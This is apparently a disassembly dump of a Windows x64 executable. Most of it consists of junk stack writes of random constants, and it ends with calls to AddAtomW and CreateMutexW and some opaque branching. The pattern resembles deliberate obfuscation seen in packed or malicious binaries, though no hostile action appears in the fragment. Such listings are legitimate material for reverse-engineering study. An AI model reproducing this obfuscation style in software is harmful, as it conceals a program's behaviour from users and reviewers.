movabs rax, 0x7535ed6fc5e74f
mov qword [rsp + 0xe888], rax
mov dword [rsp + 0x72fc], 0x24ef
mov eax, 0x6f4
mov word [rsp + 0x232c], ax
mov byte [rsp + 0x462], 0x51
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0x2330], ax
mov byte [rsp + 0x463], 0xba
mov dword [rsp + 0x7300], 0xdce9
mov eax, 0xe36
mov word [rsp + 0x2334], ax
mov dword [rsp + 0x7304], 0xef70
mov dword [rsp + 0x7308], 0x64cd
mov dword [rsp + 0x730c], 0x522
mov eax, 0xbf7
mov word [rsp + 0x2338], ax
mov eax, 0xa0
mov word [rsp + 0x233c], ax
movabs rax, 0x734d9356bdb8e8
mov qword [rsp + 0xe890], rax
mov byte [rsp + 0x464], 0x79
mov eax, 0x5e4
mov word [rsp + 0x2340], ax
mov byte [rsp + 0x465], 0xa9
movabs rax, 0x7969a8cfd2663b
mov qword [rsp + 0xe898], rax
mov dword [rsp + 0x7310], 0x1a2d
mov byte [rsp + 0x466], 0x70
mov eax, 0x89b
mov word [rsp + 0x2344], ax
mov eax, 0xb8c
mov word [rsp + 0x2348], ax
mov byte [rsp + 0x467], 0xf5
mov byte [rsp + 0x468], 0x6b
mov eax, 0x216
mov word [rsp + 0x234c], ax
mov dword [rsp + 0x7314], 0xcc6a
mov byte [rsp + 0x469], 0xbc
mov byte [rsp + 0x46a], 0x64
mov dword [rsp + 0x7318], 0x7da2
movabs rax, 0x7eac3078bb3294
mov qword [rsp + 0xe8a0], rax
movabs rax, 0x7db2aa1550c982
mov qword [rsp + 0xe8a8], rax
movabs rax, 0x72ff10187f8374
mov qword [rsp + 0xe8b0], rax
mov dword [rsp + 0x731c], 0x2de0
mov byte [rsp + 0x46b], 0x4d
mov dword [rsp + 0x7320], 0x24aa
movabs rax, 0x79bab9c41cb3fd
mov qword [rsp + 0xe8b8], rax
mov eax, 0x778
mov word [rsp + 0x2350], ax
mov eax, 0x80
mov word [rsp + 0x2354], ax
mov byte [rsp + 0x46c], 0x1c
mov byte [rsp + 0x46d], 0x5d
mov eax, 0xf4
mov word [rsp + 0x2358], ax
movabs rax, 0x742fa670dfa177
mov qword [rsp + 0xe8c0], rax
movabs rax, 0x75390ee9b2b632
mov qword [rsp + 0xe8c8], rax
mov byte [rsp + 0x46e], 0x3d
mov byte [rsp + 0x46f], 0x1d
mov dword [rsp + 0x7324], 0x73c9
movabs rax, 0x784188c763d643
mov qword [rsp + 0xe8d0], rax
mov byte [rsp + 0x470], 0x4f
mov eax, 0x442
mov word [rsp + 0x235c], ax
movabs rax, 0x7beba741b50774
mov qword [rsp + 0xe8d8], rax
mov eax, 0xea4
mov word [rsp + 0x2360], ax
mov dword [rsp + 0x7328], 0x7085
mov byte [rsp + 0x471], 0x8c
mov dword [rsp + 0x732c], 0xfcd
mov dword [rsp + 0x7330], 0xcddf
mov byte [rsp + 0x472], 0x75
movabs rax, 0x7d075622955399
mov qword [rsp + 0xe8e0], rax
mov dword [rsp + 0x7334], 0xbe0
mov byte [rsp + 0x473], 0x7c
mov byte [rsp + 0x474], 0xcf
mov dword [rsp + 0x7338], 0x4445
mov eax, 0xe76
mov word [rsp + 0x2364], ax
movabs rax, 0x7ef04e0f0a4aa1
mov qword [rsp + 0xe8e8], rax
movabs rax, 0x7b40d15070ad77
mov qword [rsp + 0xe8f0], rax
movabs rax, 0x7ef64dda60ba41
mov qword [rsp + 0xe8f8], rax
mov dword [rsp + 0x733c], 0x9e78
mov byte [rsp + 0x475], 0xcb
mov eax, 0x41e
mov word [rsp + 0x2368], ax
mov eax, 0xb33
mov word [rsp + 0x236c], ax
movabs rax, 0x785d6b89346e5e
mov qword [rsp + 0xe900], rax
mov byte [rsp + 0x476], 0x19
movabs rax, 0x73634d26113e09
mov qword [rsp + 0xe908], rax
mov byte [rsp + 0x477], 0x69
mov byte [rsp + 0x478], 0x83
mov byte [rsp + 0x479], 0x77
mov byte [rsp + 0x47a], 0x35
mov dword [rsp + 0x7340], 0x1939
mov eax, 0x1fd
mov word [rsp + 0x2370], ax
mov dword [rsp + 0x7344], 0xa48d
mov dword [rsp + 0x7348], 0x343c
movabs rax, 0x7e75f32f179ddc
mov qword [rsp + 0xe910], rax
mov eax, 0x4eb
mov word [rsp + 0x2374], ax
mov byte [rsp + 0x47b], 0xa1
movabs rax, 0x79c1f978c880f1
mov qword [rsp + 0xe918], rax
mov eax, 0x67a
mov word [rsp + 0x2378], ax
movabs rax, 0x7ab7acd9ea631d
mov qword [rsp + 0xe920], rax
movabs rax, 0x7612069da697ec
mov qword [rsp + 0xe928], rax
movabs rax, 0x70b51a32b7f381
mov qword [rsp + 0xe930], rax
movabs rax, 0x7af4ad2ca87824
mov qword [rsp + 0xe938], rax
mov byte [rsp + 0x47c], 0xfb
movabs rax, 0x7215b968edaea5
mov qword [rsp + 0xe940], rax
mov byte [rsp + 0x47d], 0x29
movabs rax, 0x77e435c2e94588
mov qword [rsp + 0xe948], rax
mov dword [rsp + 0x734c], 0x5a73
movabs rax, 0x74a35564e9d24a
mov qword [rsp + 0xe950], rax
mov dword [rsp + 0x7350], 0x450b
mov byte [rsp + 0x47e], 0x83
movabs rax, 0x73b2fb9eab45eb
mov qword [rsp + 0xe958], rax
mov byte [rsp + 0x47f], 0x1f
mov dword [rsp + 0x7354], 0x5a43
movabs rax, 0x7c95af5ffbd7b5
mov qword [rsp + 0xe960], rax
mov eax, 0x8a
mov word [rsp + 0x237c], ax
mov dword [rsp + 0x7358], 0x55d8
movabs rax, 0x7e9ed11177eb74
mov qword [rsp + 0xe968], rax
mov dword [rsp + 0x735c], 0x1100
mov byte [rsp + 0x480], 0x53
movabs rax, 0x7552d42c227cda
mov qword [rsp + 0xe970], rax
movabs rax, 0x73db8b4776e24d
mov qword [rsp + 0xe978], rax
mov eax, 0x61b
mov word [rsp + 0x2380], ax
mov byte [rsp + 0x481], 0x5e
movabs rax, 0x7a3166d237345a
mov qword [rsp + 0xe980], rax
mov byte [rsp + 0x482], 0x6e
mov eax, 0xcba
mov word [rsp + 0x2384], ax
movabs rax, 0x76fd67975c580d
mov qword [rsp + 0xe988], rax
mov dword [rsp + 0x7360], 0xb594
movabs rax, 0x752a1e30efc3a5
mov qword [rsp + 0xe990], rax
movabs rax, 0x7dafef7971a659
mov qword [rsp + 0xe998], rax
mov dword [rsp + 0x7364], 0x2fa7
mov dword [rsp + 0x7368], 0x5792
movabs rax, 0x744c7bac6a910d
mov qword [rsp + 0xe9a0], rax
mov byte [rsp + 0x483], 0x3a
movabs rax, 0x7da6686ff93d93
mov qword [rsp + 0xe9a8], rax
mov eax, 0x657
mov word [rsp + 0x2388], ax
mov byte [rsp + 0x484], 0x60
mov eax, 0x468
mov word [rsp + 0x238c], ax
mov byte [rsp + 0x485], 0x2d
mov eax, 0xdb1
mov word [rsp + 0x2390], ax
mov eax, 0xf64
mov word [rsp + 0x2394], ax
movabs rax, 0x72fbdb5b76676d
mov qword [rsp + 0xe9b0], rax
movabs rax, 0x7a17e1054ca572
mov qword [rsp + 0xe9b8], rax
movabs rax, 0x7915178735f9ea
mov qword [rsp + 0xe9c0], rax
mov eax, 0x2eb
mov word [rsp + 0x2398], ax
mov eax, 0x104
mov word [rsp + 0x239c], ax
movabs rax, 0x7c7ef97ead02a8
mov qword [rsp + 0xe9c8], rax
mov byte [rsp + 0x486], 0x4e
mov eax, 0x66e
mov word [rsp + 0x23a0], ax
mov byte [rsp + 0x487], 0x42
mov dword [rsp + 0x736c], 0x2ae
mov eax, 0x63f
mov word [rsp + 0x23a4], ax
movabs rax, 0x71815cb67efbc3
mov qword [rsp + 0xe9d0], rax
mov eax, 0xa8d
mov word [rsp + 0x23a8], ax
movabs rax, 0x78591d1e0f57eb
mov qword [rsp + 0xe9d8], rax
mov byte [rsp + 0x488], 0xdf
mov dword [rsp + 0x7370], 0x167f
mov eax, 0x583
mov word [rsp + 0x23ac], ax
mov eax, 0xff5
mov word [rsp + 0x23b0], ax
mov byte [rsp + 0x489], 0xc4
mov dword [rsp + 0x7374], 0x2e4f
mov dword [rsp + 0x7378], 0x7758
mov byte [rsp + 0x48a], 0x98
movabs rax, 0x779e6b1221a9dc
mov qword [rsp + 0xe9e0], rax
movabs rax, 0x746c599c8a2bb3
mov qword [rsp + 0xe9e8], rax
mov byte [rsp + 0x48b], 0xc7
movabs rax, 0x7abe23476d142c
mov qword [rsp + 0xe9f0], rax
movabs rax, 0x7ac6405ef1dc52
mov qword [rsp + 0xe9f8], rax
movabs rax, 0x780fff1a729a3d
mov qword [rsp + 0xea00], rax
mov dword [rsp + 0x737c], 0x72
mov dword [rsp + 0x7380], 0x59e6
mov dword [rsp + 0x7384], 0x32af
mov byte [rsp + 0x48c], 0x2f
movabs rax, 0x72a03644d4efaa
mov qword [rsp + 0xea08], rax
mov dword [rsp + 0x7388], 0xa61
mov eax, 0x42e
mov word [rsp + 0x23b4], ax
movabs rax, 0x7632b2835513da
mov qword [rsp + 0xea10], rax
movabs rax, 0x7136bc7ea44fb3
mov qword [rsp + 0xea18], rax
mov eax, 0x2bb
mov word [rsp + 0x23b8], ax
mov dword [rsp + 0x738c], 0x686d
mov byte [rsp + 0x48d], 0xa5
movabs rax, 0x782380661f2ed4
mov qword [rsp + 0xea20], rax
mov eax, 0x15f
mov word [rsp + 0x23bc], ax
mov byte [rsp + 0x48e], 0
mov eax, 0xbdd
mov word [rsp + 0x23c0], ax
mov dword [rsp + 0x7390], 0xddc6
mov dword [rsp + 0x7394], 0x1bea
mov byte [rsp + 0x48f], 0x30
mov byte [rsp + 0x490], 0x6e
mov eax, 0xa2a
mov word [rsp + 0x23c4], ax
mov byte [rsp + 0x491], 0x78
movabs rax, 0x782ac5c0237049
mov qword [rsp + 0xea28], rax
mov byte [rsp + 0x492], 0xb0
mov byte [rsp + 0x493], 5
mov byte [rsp + 0x494], 0x94
mov dword [rsp + 0x7398], 0xb070
mov byte [rsp + 0x495], 0x1d
mov eax, 0xe67
mov word [rsp + 0x23c8], ax
mov dword [rsp + 0x739c], 0x74c5
movabs rax, 0x743837ff87ee39
mov qword [rsp + 0xea30], rax
mov dword [rsp + 0x73a0], 0x3a3a
mov dword [rsp + 0x73a4], 0x2fa4
mov byte [rsp + 0x496], 0x34
mov eax, 0xf9a
mov word [rsp + 0x23cc], ax
movabs rax, 0x7e2c10763482ba
mov qword [rsp + 0xea38], rax
movabs rax, 0x76ce62bb408abd
mov qword [rsp + 0xea40], rax
mov dword [rsp + 0x73a8], 0x4557
mov eax, 0xe5f
mov word [rsp + 0x23d0], ax
mov dword [rsp + 0x73ac], 0x4008
mov dword [rsp + 0x73b0], 0x3f95
movabs rax, 0x7c3f6b13469775
mov qword [rsp + 0xea48], rax
mov byte [rsp + 0x497], 0x7e
movabs rax, 0x75ead55c23184e
mov qword [rsp + 0xea50], rax
mov byte [rsp + 0x498], 0xe7
movabs rax, 0x77be80ce5ef0da
mov qword [rsp + 0xea58], rax
mov eax, 0x70e
mov word [rsp + 0x23d4], ax
mov eax, 0x37e
mov word [rsp + 0x23d8], ax
mov byte [rsp + 0x499], 0x54
movabs rax, 0x795af250fdbfb7
mov qword [rsp + 0xea60], rax
mov byte [rsp + 0x49a], 0x6d
mov dword [rsp + 0x73b4], 0x7445
movabs rax, 0x7ae07ef5549fde
mov qword [rsp + 0xea68], rax
mov eax, 0x319
mov word [rsp + 0x23dc], ax
movabs rax, 0x726ca315de6492
mov qword [rsp + 0xea70], rax
mov dword [rsp + 0x73b8], 0x41dd
movabs rax, 0x79f6b5a897e175
mov qword [rsp + 0xea78], rax
mov dword [rsp + 0x73bc], 0x4ae3
mov eax, 0xb6
mov word [rsp + 0x23e0], ax
mov byte [rsp + 0x49b], 0x5b
mov eax, 0x343
mov word [rsp + 0x23e4], ax
movabs rax, 0x7a4f6f1cf4691d
mov qword [rsp + 0xea80], rax
movabs rax, 0x763109b6d453ab
mov qword [rsp + 0xea88], rax
mov eax, 0x424
mov word [rsp + 0x23e8], ax
mov eax, 0x50
mov word [rsp + 0x23ec], ax
movabs rax, 0x7d1e691f85e898
mov qword [rsp + 0xea90], rax
movabs rax, 0x74c476db5f2ab9
mov qword [rsp + 0xea98], rax
mov eax, 0x11d
mov word [rsp + 0x23f0], ax
movabs rax, 0x7610bfb2e17481
mov qword [rsp + 0xeaa0], rax
movabs rax, 0x70882ecc7538ba
mov qword [rsp + 0xeaa8], rax
mov dword [rsp + 0x73c0], 0xd0c5
mov byte [rsp + 0x49c], 0x49
mov byte [rsp + 0x49d], 0xde
mov byte [rsp + 0x49e], 0xd7
mov dword [rsp + 0x73c4], 0x84db
movabs rax, 0x7302fc9e2cac5a
mov qword [rsp + 0xeab0], rax
movabs rax, 0x70b8cf21e38150
mov qword [rsp + 0xeab8], rax
movabs rax, 0x774ae6b318b60f
mov qword [rsp + 0xeac0], rax
mov dword [rsp + 0x73c8], 0x50c3
movabs rax, 0x74ca82dde4fd1c
mov qword [rsp + 0xeac8], rax
mov dword [rsp + 0x73cc], 0x4cdb
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x23f4], ax
mov dword [rsp + 0x73d0], 0x5ac1
mov byte [rsp + 0x49f], 0x5f
mov byte [rsp + 0x4a0], 0x60
movabs rax, 0x76ead0cabb22d9
mov qword [rsp + 0xead0], rax
mov dword [rsp + 0x73d4], 0xad8b
movabs rax, 0x7a42032a997dbe
mov qword [rsp + 0xead8], rax
mov dword [rsp + 0x73d8], 0x28a4
mov dword [rsp + 0x73dc], 0x405
mov dword [rsp + 0x73e0], 0x9c30
mov eax, 0xd5f
mov word [rsp + 0x23f8], ax
mov eax, 0x1a8
mov word [rsp + 0x23fc], ax
mov eax, 0x3e4
mov word [rsp + 0x2400], ax
mov byte [rsp + 0x4a1], 0x45
mov eax, 0xfda
mov word [rsp + 0x2404], ax
mov dword [rsp + 0x73e4], 0x7b52
movabs rax, 0x70645cfaa5eba4
mov qword [rsp + 0xeae0], rax
mov eax, 0x200
mov word [rsp + 0x2408], ax
mov eax, 0x5b
mov word [rsp + 0x240c], ax
mov byte [rsp + 0x4a2], 0x55
mov dword [rsp + 0x73e8], 0x6c01
mov byte [rsp + 0x4a3], 0x74
mov eax, 0x412
mov word [rsp + 0x2410], ax
mov dword [rsp + 0x73ec], 0x9c9
mov eax, 0x4ee
mov word [rsp + 0x2414], ax
mov eax, 0x36b
mov word [rsp + 0x2418], ax
movabs rax, 0x758022c8bb2d31
mov qword [rsp + 0xeae8], rax
mov eax, 0xe2f
mov word [rsp + 0x241c], ax
movabs rax, 0x70be0e32cdb77e
mov qword [rsp + 0xeaf0], rax
mov dword [rsp + 0x73f0], 0x66e4
mov byte [rsp + 0x4a4], 0x1e
movabs rax, 0x73885d2c84a87d
mov qword [rsp + 0xeaf8], rax
movabs rax, 0x724c2cce142fc2
mov qword [rsp + 0xeb00], rax
mov eax, 0xb61
mov word [rsp + 0x2420], ax
movabs rax, 0x72b63aa76706b9
mov qword [rsp + 0xeb08], rax
mov dword [rsp + 0x73f4], 0x14e6
movabs rax, 0x7238b439d4bb66
mov qword [rsp + 0xeb10], rax
movabs rax, 0x707a96ea57617d
mov qword [rsp + 0xeb18], rax
mov byte [rsp + 0x4a5], 0x13
mov dword [rsp + 0x73f8], 0xbbe
movabs rax, 0x7adf50b7572b6a
mov qword [rsp + 0xeb20], rax
mov eax, 0x86b
mov word [rsp + 0x2424], ax
mov dword [rsp + 0x73fc], 0xe133
movabs rax, 0x74bcf5ab11daa1
mov qword [rsp + 0xeb28], rax
mov byte [rsp + 0x4a6], 0x6c
mov eax, 0x5e9
mov word [rsp + 0x2428], ax
mov eax, 0x4f5
mov word [rsp + 0x242c], ax
mov byte [rsp + 0x4a7], 0x5e
movabs rax, 0x724e96f257ce7d
mov qword [rsp + 0xeb30], rax
mov eax, 0x606
mov word [rsp + 0x2430], ax
mov eax, 0x4e6
mov word [rsp + 0x2434], ax
movabs rax, 0x7cc4a62c7d8ea8
mov qword [rsp + 0xeb38], rax
movabs rax, 0x745af9232a2ca4
mov qword [rsp + 0xeb40], rax
mov byte [rsp + 0x4a8], 0x5e
movabs rax, 0x74c53ad2a17f4b
mov qword [rsp + 0xeb48], rax
mov eax, 0x430
mov word [rsp + 0x2438], ax
mov eax, 0x24f
mov word [rsp + 0x243c], ax
movabs rax, 0x72c17a29a34e51
mov qword [rsp + 0xeb50], rax
mov eax, 0x42
mov word [rsp + 0x2440], ax
mov eax, 0x263
mov word [rsp + 0x2444], ax
mov dword [rsp + 0x7400], 0xaa0d
mov eax, 0x17f
mov word [rsp + 0x2448], ax
movabs rax, 0x706c44f12cf448
mov qword [rsp + 0xeb58], rax
movabs rax, 0x72bdc90dc9c239
mov qword [rsp + 0xeb60], rax
mov dword [rsp + 0x7404], 0x845
mov byte [rsp + 0x4a9], 0x19
mov byte [rsp + 0x4aa], 0
movabs rax, 0x7e1670a229b3ce
mov qword [rsp + 0xeb68], rax
mov byte [rsp + 0x4ab], 0xa8
mov dword [rsp + 0x7408], 0x5963
mov dword [rsp + 0x740c], 0x5760
movabs rax, 0x70af9c1ea80d02
mov qword [rsp + 0xeb70], rax
mov dword [rsp + 0x7410], 0xfb73
mov dword [rsp + 0x7414], 0x4086
mov dword [rsp + 0x7418], 0xdfa6
mov byte [rsp + 0x4ac], 0xa6
mov dword [rsp + 0x741c], 0x5333
mov eax, 0x2a1
mov word [rsp + 0x244c], ax
movabs rax, 0x7c3d9a9d42c208
mov qword [rsp + 0xeb78], rax
mov byte [rsp + 0x4ad], 0x32
mov eax, 0x4a7
mov word [rsp + 0x2450], ax
mov byte [rsp + 0x4ae], 0x1c
movabs rax, 0x74378e7bbb9e07
mov qword [rsp + 0xeb80], rax
movabs rax, 0x7778dcd3c4fc54
mov qword [rsp + 0xeb88], rax
mov eax, 0xd1
mov word [rsp + 0x2454], ax
mov eax, 0xab3
mov word [rsp + 0x2458], ax
mov dword [rsp + 0x7420], 0x7f8f
mov eax, 0x5aa
mov word [rsp + 0x245c], ax
mov dword [rsp + 0x7424], 0x8cf4
mov dword [rsp + 0x7428], 0x24ad
mov eax, 0xfe6
mov word [rsp + 0x2460], ax
mov byte [rsp + 0x4af], 0x21
mov eax, 0x79b
mov word [rsp + 0x2464], ax
mov byte [rsp + 0x4b0], 0x5e
mov eax, 0x66d
mov word [rsp + 0x2468], ax
mov eax, 0x847
mov word [rsp + 0x246c], ax
mov eax, 0x371
mov word [rsp + 0x2470], ax
mov dword [rsp + 0x742c], 0x2c9d
movabs rax, 0x7918efe73ae073
mov qword [rsp + 0xeb90], rax
mov eax, 0x442
mov word [rsp + 0x2474], ax
mov byte [rsp + 0x4b1], 0xdc
mov eax, 0x466
mov word [rsp + 0x2478], ax
mov eax, 0x80b
mov word [rsp + 0x247c], ax
mov dword [rsp + 0x7430], 0x49f0
mov eax, 0x51c
mov word [rsp + 0x2480], ax
movabs rax, 0x7c2e160d1965a0
mov qword [rsp + 0xeb98], rax
mov dword [rsp + 0x7434], 0xd05a
movabs rax, 0x765ec2b49ae5fc
mov qword [rsp + 0xeba0], rax
mov dword [rsp + 0x7438], 0xd061
mov eax, 0x3f0
mov word [rsp + 0x2484], ax
mov dword [rsp + 0x743c], 0x1e73
mov dword [rsp + 0x7440], 0x978d
mov eax, 0x26
mov word [rsp + 0x2488], ax
mov eax, 0xffe
mov word [rsp + 0x248c], ax
mov eax, 0x62e
mov word [rsp + 0x2490], ax
movabs rax, 0x7d73da69aee482
mov qword [rsp + 0xeba8], rax
mov eax, 0x48d
mov word [rsp + 0x2494], ax
mov byte [rsp + 0x4b2], 0x56
movabs rax, 0x7cc2eaab7224df
mov qword [rsp + 0xebb0], rax
mov dword [rsp + 0x7444], 0x44f4
mov byte [rsp + 0x4b3], 0xb7
mov byte [rsp + 0x4b4], 0x81
mov byte [rsp + 0x4b5], 0x5d
mov eax, 0x31f
mov word [rsp + 0x2498], ax
mov eax, 0xafe
mov word [rsp + 0x249c], ax
mov eax, 0x6d1
mov word [rsp + 0x24a0], ax
mov dword [rsp + 0x7448], 0x3e22
mov dword [rsp + 0x744c], 0xcf3
mov eax, 0x2a0
mov word [rsp + 0x24a4], ax
mov dword [rsp + 0x7450], 0x3767
mov eax, 0x3f7
mov word [rsp + 0x24a8], ax
movabs rax, 0x77c8c230af174d
mov qword [rsp + 0xebb8], rax
mov byte [rsp + 0x4b6], 0
mov eax, OleCreatePropertyFrameIndirect
mov word [rsp + 0x24ac], ax
movabs rax, 0x774cc1831aa3db
mov qword [rsp + 0xebc0], rax
mov dword [rsp + 0x7454], 0x4e75
movabs rax, 0x7c5f9727007100
mov qword [rsp + 0xebc8], rax
movabs rax, 0x719e6ebca1a4f4
mov qword [rsp + 0xebd0], rax
mov byte [rsp + 0x4b7], 0x61
mov eax, 0x8df
mov word [rsp + 0x24b0], ax
mov byte [rsp + 0x4b8], 0xb1
mov byte [rsp + 0x4b9], 0xfc
mov eax, 0x34d
mov word [rsp + 0x24b4], ax
mov dword [rsp + 0x7458], 0x7d3b
mov eax, 0x5f7
mov word [rsp + 0x24b8], ax
mov byte [rsp + 0x4ba], 0x79
mov dword [rsp + 0x745c], 0x639d
mov dword [rsp + 0x7460], 0xfab2
movabs rax, 0x765d421295b53f
mov qword [rsp + 0xebd8], rax
movabs rax, 0x7a585200028e82
mov qword [rsp + 0xebe0], rax
mov byte [rsp + 0x4bb], 0x3a
mov eax, 0xea
mov word [rsp + 0x24bc], ax
mov eax, 0x42e
mov word [rsp + 0x24c0], ax
mov byte [rsp + 0x4bc], 0x99
movabs rax, 0x722a0da07a5810
mov qword [rsp + 0xebe8], rax
movabs rax, 0x770537610c994c
mov qword [rsp + 0xebf0], rax
movabs rax, 0x790857e9b41d31
mov qword [rsp + 0xebf8], rax
mov eax, 0xbf9
mov word [rsp + 0x24c4], ax
mov dword [rsp + 0x7464], 0x10e9
mov byte [rsp + 0x4bd], 0x40
movabs rax, 0x7e3e49445623fb
mov qword [rsp + 0xec00], rax
movabs rax, 0x7dbcb1f5aa7ff6
mov qword [rsp + 0xec08], rax
mov byte [rsp + 0x4be], 0x14
mov eax, 0xc8f
mov word [rsp + 0x24c8], ax
movabs rax, 0x75e650f4961adc
mov qword [rsp + 0xec10], rax
mov dword [rsp + 0x7468], 0x77d0
mov eax, reloc.SHELL32.dll_ILFree
mov word [rsp + 0x24cc], ax
movabs rax, 0x73a350b50ab616
mov qword [rsp + 0xec18], rax
mov eax, 0xa8
mov word [rsp + 0x24d0], ax
mov byte [rsp + 0x4bf], 0xd0
movabs rax, 0x71a436779a23b0
mov qword [rsp + 0xec20], rax
mov eax, 0x1e1
mov word [rsp + 0x24d4], ax
mov byte [rsp + 0x4c0], 0x41
mov dword [rsp + 0x746c], 0xee60
mov eax, 0x170
mov word [rsp + 0x24d8], ax
mov dword [rsp + 0x7470], 0x1608
mov byte [rsp + 0x4c1], 0x15
movabs rax, 0x7ad0b7aa2e0ee6
mov qword [rsp + 0xec28], rax
movabs rax, 0x7b220336b3bb4a
mov qword [rsp + 0xec30], rax
movabs rax, 0x75e3f7029705fa
mov qword [rsp + 0xec38], rax
mov byte [rsp + 0x4c2], 0x5e
mov dword [rsp + 0x7474], 0x25dd
mov dword [rsp + 0x7478], 0x748d
movabs rax, 0x7daea2f9e822cc
mov qword [rsp + 0xec40], rax
mov byte [rsp + 0x4c3], 0x88
mov eax, 0x68f
mov word [rsp + 0x24dc], ax
movabs rax, 0x71686d4673cbf1
mov qword [rsp + 0xec48], rax
movabs rax, 0x70734078c485d8
mov qword [rsp + 0xec50], rax
mov eax, 0x51b
mov word [rsp + 0x24e0], ax
mov byte [rsp + 0x4c4], 0x7b
mov eax, 0x6f0
mov word [rsp + 0x24e4], ax
mov eax, 0x3e8
mov word [rsp + 0x24e8], ax
mov eax, 0x5e1
mov word [rsp + 0x24ec], ax
mov eax, 0x480
mov word [rsp + 0x24f0], ax
mov dword [rsp + 0x747c], 0x386d
mov byte [rsp + 0x4c5], 0xbb
mov byte [rsp + 0x4c6], 0x24
mov dword [rsp + 0x7480], 0x83c0
mov eax, 0x57d
mov word [rsp + 0x24f4], ax
movabs rax, 0x7eb50e0757e371
mov qword [rsp + 0xec58], rax
mov eax, 0xfe5
mov word [rsp + 0x24f8], ax
movabs rax, 0x76fee1184a3633
mov qword [rsp + 0xec60], rax
movabs rax, 0x71da2191817154
mov qword [rsp + 0xec68], rax
mov byte [rsp + 0x4c7], 0x21
mov eax, 0x46
mov word [rsp + 0x24fc], ax
mov byte [rsp + 0x4c8], 0x17
mov byte [rsp + 0x4c9], 0x21
movabs rax, 0x73a4e81ca23120
mov qword [rsp + 0xec70], rax
mov byte [rsp + 0x4ca], 0x5e
movabs rax, 0x76e0dd5f25d4cf
mov qword [rsp + 0xec78], rax
mov byte [rsp + 0x4cb], 0x3d
mov byte [rsp + 0x4cc], 0xd8
movabs rax, 0x7a8ec9676235d7
mov qword [rsp + 0xec80], rax
movabs rax, 0x7746d3624fffa7
mov qword [rsp + 0xec88], rax
mov byte [rsp + 0x4cd], 0x50
mov eax, 0x7c8
mov word [rsp + 0x2500], ax
mov byte [rsp + 0x4ce], 0x34
mov eax, 0x52e
mov word [rsp + 0x2504], ax
mov byte [rsp + 0x4cf], 0x73
mov byte [rsp + 0x4d0], 0x48
mov eax, 0xcb7
mov word [rsp + 0x2508], ax
movabs rax, 0x7ce84a754c1ed4
mov qword [rsp + 0xec90], rax
movabs rax, 0x7608a92b26d668
mov qword [rsp + 0xec98], rax
mov eax, 0xdc5
mov word [rsp + 0x250c], ax
mov eax, 0x13b
mov word [rsp + 0x2510], ax
movabs rax, 0x7264eec0f39de6
mov qword [rsp + 0xeca0], rax
mov eax, 0x39b
mov word [rsp + 0x2514], ax
mov dword [rsp + 0x7484], 0x7eb1
mov dword [rsp + 0x7488], 0x41c0
mov dword [rsp + 0x748c], 0x3d7c
mov eax, 0x4cf
mov word [rsp + 0x2518], ax
mov eax, 0xa3a
mov word [rsp + 0x251c], ax
mov dword [rsp + 0x7490], 0x8827
mov dword [rsp + 0x7494], 0x18fb
mov dword [rsp + 0x7498], 0xbf59
mov dword [rsp + 0x749c], 0x5630
mov eax, 0x15e
mov word [rsp + 0x2520], ax
mov dword [rsp + 0x74a0], 0x4bbb
mov byte [rsp + 0x4d1], 0x43
movabs rax, 0x7c6b77b2a76e37
mov qword [rsp + 0xeca8], rax
mov dword [rsp + 0x74a4], 0x304f
mov eax, 0x2b7
mov word [rsp + 0x2524], ax
mov dword [rsp + 0x74a8], 0xa56
mov byte [rsp + 0x4d2], 0x6a
movabs rax, 0x7cd2892d993485
mov qword [rsp + 0xecb0], rax
mov byte [rsp + 0x4d3], 0x81
mov eax, 0x190
mov word [rsp + 0x2528], ax
mov dword [rsp + 0x74ac], 0x194a
mov eax, 0x447
mov word [rsp + 0x252c], ax
mov dword [rsp + 0x74b0], 0xe7c8
mov byte [rsp + 0x4d4], 0x32
mov dword [rsp + 0x74b4], 0x7de3
mov byte [rsp + 0x4d5], 0x3e
mov byte [rsp + 0x4d6], 0x4b
mov eax, 0x5a
mov word [rsp + 0x2530], ax
mov eax, 0x7f0
mov word [rsp + 0x2534], ax
mov eax, 0x67
mov word [rsp + 0x2538], ax
mov dword [rsp + 0x74b8], 0xef00
mov dword [rsp + 0x74bc], 0x494f
mov dword [rsp + 0x74c0], 0x8a02
lea rcx, str.K9hp_OmEhqDjQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x253c], ax
mov byte [rsp + 0x4d7], 0x11
mov dword [rsp + 0x74c4], 0xc133
movsx eax, byte [rsp + 0x2b3]
sub eax, 0x66
mov byte [rsp + 0x2b3], al
movsx eax, word [0x1401e3380]
add eax, 0x35c
mov word [0x1401e3380], ax
mov dword [rsp + 0x74c8], 0x513f
mov dword [rsp + 0x74cc], 0x9ac3
movzx eax, byte [rsp + 0x2b3]
mov byte [rsp + 0x74d0], al
cmp byte [rsp + 0x74d0], 0xb5
je 0x140013196
cmp byte [rsp + 0x74d0], 0x79
je 0x140013262
jmp 0x1400132ad
mov dword [rsp + 0x74d4], 0x9424
movabs rax, 0x7aeaad1095bf41
mov qword [rsp + 0xecb8], rax
mov dword [rsp + 0x74d8], 0x11b49
mov dword [rsp + 0x22710], 0x114
mov dword [rsp + 0x74dc], 0xfeb6
movzx eax, byte [rsp + 0x4d7]
mov byte [rsp + 0x74e0], al
cmp byte [rsp + 0x74e0], 0x11
je 0x1400131f9
cmp byte [rsp + 0x74e0], 0x6c
je 0x140013240
jmp 0x140013260
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xecc0], rax
movzx eax, word [rsp + 0x1694]
and eax, 0xc50
mov word [rsp + 0x1694], ax
movzx eax, word [rsp + 0x1694]
mov word [rsp + 0x2540], ax
mov dword [rsp + 0x74e4], 0x6dbd
jmp 0x140013260
movabs rax, 0x7d9eb8155df8e9
mov rcx, qword [rsp + 0xecb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
jmp 0x1400132ad
movzx eax, word [rsp + 0x1694]
sar eax, 9
mov word [rsp + 0x2540], ax
movsx eax, word [0x1401e3380]
xor eax, 0x735
mov word [0x1401e3380], ax
movzx r9d, word [rsp + 0x2540]
mov r8, qword [rsp + 0xecb8]
mov edx, dword [rsp + 0x74d4]
mov rcx, qword [rsp + 0xecb8]
call fcn.1401c5c80
mov eax, dword [rsp + 0x74d4]
shl eax, 9
mov dword [rsp + 0x74d4], eax
mov eax, dword [rsp + 0x74e4]
add eax, 0xbc3
mov dword [rsp + 0x74e4], eax
movsx eax, byte [rsp + 0x2b3]
sub eax, 0x13
